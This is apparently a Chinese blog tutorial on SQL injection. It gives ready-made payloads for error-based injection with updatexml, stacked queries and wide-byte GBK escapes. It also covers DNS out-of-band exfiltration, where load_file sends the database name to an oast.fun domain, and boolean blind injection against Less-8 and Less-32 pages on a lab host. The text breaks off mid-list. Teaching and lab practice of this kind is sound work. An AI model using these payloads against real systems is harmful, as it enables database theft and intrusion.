当前位置：首页 > news >正文

网站后台ftp在哪物联网的含义

news 2025/9/18 6:10:56

网站后台ftp在哪,物联网的含义,WordPress文件归档,网络服务包括一、Sql注入简介 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中，再在后台 Sql 服务器上解析执行进行的攻击，它目前黑客对数据库进行攻击的最常用手段之一。二、 SQL注入的简单流程第一步：判断目标站点，…

一、Sql注入简介

Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中，再在后台 Sql 服务器上解析执行进行的攻击，它目前黑客对数据库进行攻击的最常用手段之一。

二、 SQL注入的简单流程

第一步：判断目标站点，是否存在注入漏洞

向页面传入一些指令 (SQL 语句 ) ，检查指令是否被执行，如果被执行，说明页面是可能存在 SQL 注入漏洞的；如

果不能被执行，说明可能不存在 SQL 注入漏洞

常用的闭合点 : '' 单引号 "" 双引号 (' ') (" ") * *

第二步:判断数据表的字段数量

思路 : order by 字段编号

第三步：找到页面的显错位

结合union select 语句查看页面显错位

第四步:判断这个站点/页面用的数据的版本和当前数据库的名称

select database()

select version()

第五步:判断表名

使用 information_schema 库中的 tables 表

第六步：判断字段名

使用information_schema库中的columns表

第七步：查询表中的数据(拖库)

select 各种查询

三、sql注入漏洞方式

1、报错注入

通过数据库的抛出异常信息点将我们想要的信息一并显示出来

通常使用的报错函数

updatexml( 目标 xml 内容， xml 文档路径，需要替换的内容 )

在路径的位置上输入非法符号就可以产生报错，例如！ # $

# 语句的构造方式

select updatexml(1,concat('%',database()),1)

# 实际应用的小案例

select updatexml(1,concat('%',(select group_concat(column_name) from

information_schema.columns where table_name='tb1')),1)

获取库名和版本信息

1' and updatexml(1,concat('!',database()),1) -- qqqqqq // 获取数据库名称

1' and updatexml(1,concat('~',version()),2) -- qqqqqqq

获取库中的表的名字

1' and updatexml(1,concat('!',(select group_concat(table_name) from

information_schema.tables where table_schema="security")),1) -- qqqqqqq

获取users的表结构(获取表的字段名字)

1' and updatexml(1,concat('!',(select group_concat(column_name) from

information_schema.columns where table_name="users" and table_schema="security")),1) --

qqqqqqq

获取users表的username的所有记录

1' and updatexml(1,concat('!',(select group_concat(email_id) from emails )),1) -- qqqqqqq

2.堆叠注入

堆叠查询可以执行多条 SQL 语句，语句之间可以使用 (;) 作为分割符。堆叠注入主要是利用在第二条执行语句当中执行攻击语句

危害 : 通过堆叠注入可以实现，增删改查任意的语句都可以。

注入条件：

● 数据库需要支持堆叠功能

● 传入的堆叠语句能够被后端程序作为sql 语句来执行

3.宽字节注入

宽字节注入，在 SQL 注入的时候，一般开启 gpc ，过滤掉特殊字符，实现防注入。但是如果数据库设置宽字节字

符集 gbk ，会导致宽字节注入。通过宽字节逃逸 gpc 。

目前市面上 gbk big5 可以实现 gpc 逃逸。

注意 : \ %5c %df%5c %9c%5c %9d%5c

gpc逃逸过程

%df%27===> （ addslashes ） ===> %df%5c%27 ===>gbk 字符集 == 》運 '

魔术引号原理

$a = addslashes($_GET['name']);// 魔术引号，碰到单引号或者双引号的时候自动加上 \

$b = "select * from tb1 where n='$a'";//name=tom'

echo $b;

字符与 \ 组合在 gbk 当中会组成一个中文 ( 双字节 )

案例 :

http://www.sqli.zz/Less-32/?id=-1%df%27%20%2%20%20union%20select%201,2,3%20--+

4.DNS外带注入又称之为 DNS盲注

需要使用 dnslog 平台来进行注入

需要使用的函数【读取系统中的文件的内容】 load_fifile(' 路径 ') ，【向系统中写入文件】 into outfifile " 路径 " ，

mysql 的配置文件是高权限的情况下才能使用

mysql 的配置文件中的 secure_fifile_priv= 没有任何文件限制

案例：

select "abc" into outfile "D:/4.txt" # 将 abc 字符串写入到 D 盘下面的 4.txt 文件，文件如果不存在，那么会自动创建这个文件

select load_file("D:/4.txt") # 读取 D 盘下面的 4.TXT 文件中的内容

DNS平台

用来记录其他主机对此域名的解析记录

代码解析

# 通过 mysql 的 load_file 函数来实现对域名的解析

# // 表示协议访问符号

select load_file(concat('//',(select

database()),'.chvgntf2vtc0000j9mmgge7apeeyyyyyd.oast.fun/123'))

5.盲注

布尔盲注

特点：没有显错位

根据执行结果，如果为真则显示指定内容，如果是假什么也不现实

mysql 函数

       1. length('str')

                ● 作用:计算字符串的长度

       2.substr('str',#,#)

                ● 截取字符串当中的某一个或者某几个字符

       3. ascii('str')

                ● 显示字符的ascii码

案例：

http://www.sqli.zz/Less-8/?id=1%27

构造语句

http://www.sqli.zz/Less-8/?id=1' order by 3 有数据 4 没数据

http://www.sqli.zz/Less-8/?id=1' union select 1,2,3 --+

因为没有显错位，看不到任何信息，只能靠猜测

http://www.sqli.zz/Less-8/?id=-1' or length(database()) > 4 --+ // 猜测数据库名的字符串长度 8

http://www.sqli.zz/Less-8/?id=-1' or ascii(substr(database(),1,1))<'100' --+ // 猜测数据库名的

第一个字符 8

http://www.sqli.zz/Less-8/?id=-1' or mid(database(),1,1)='a'

# 猜测表的名字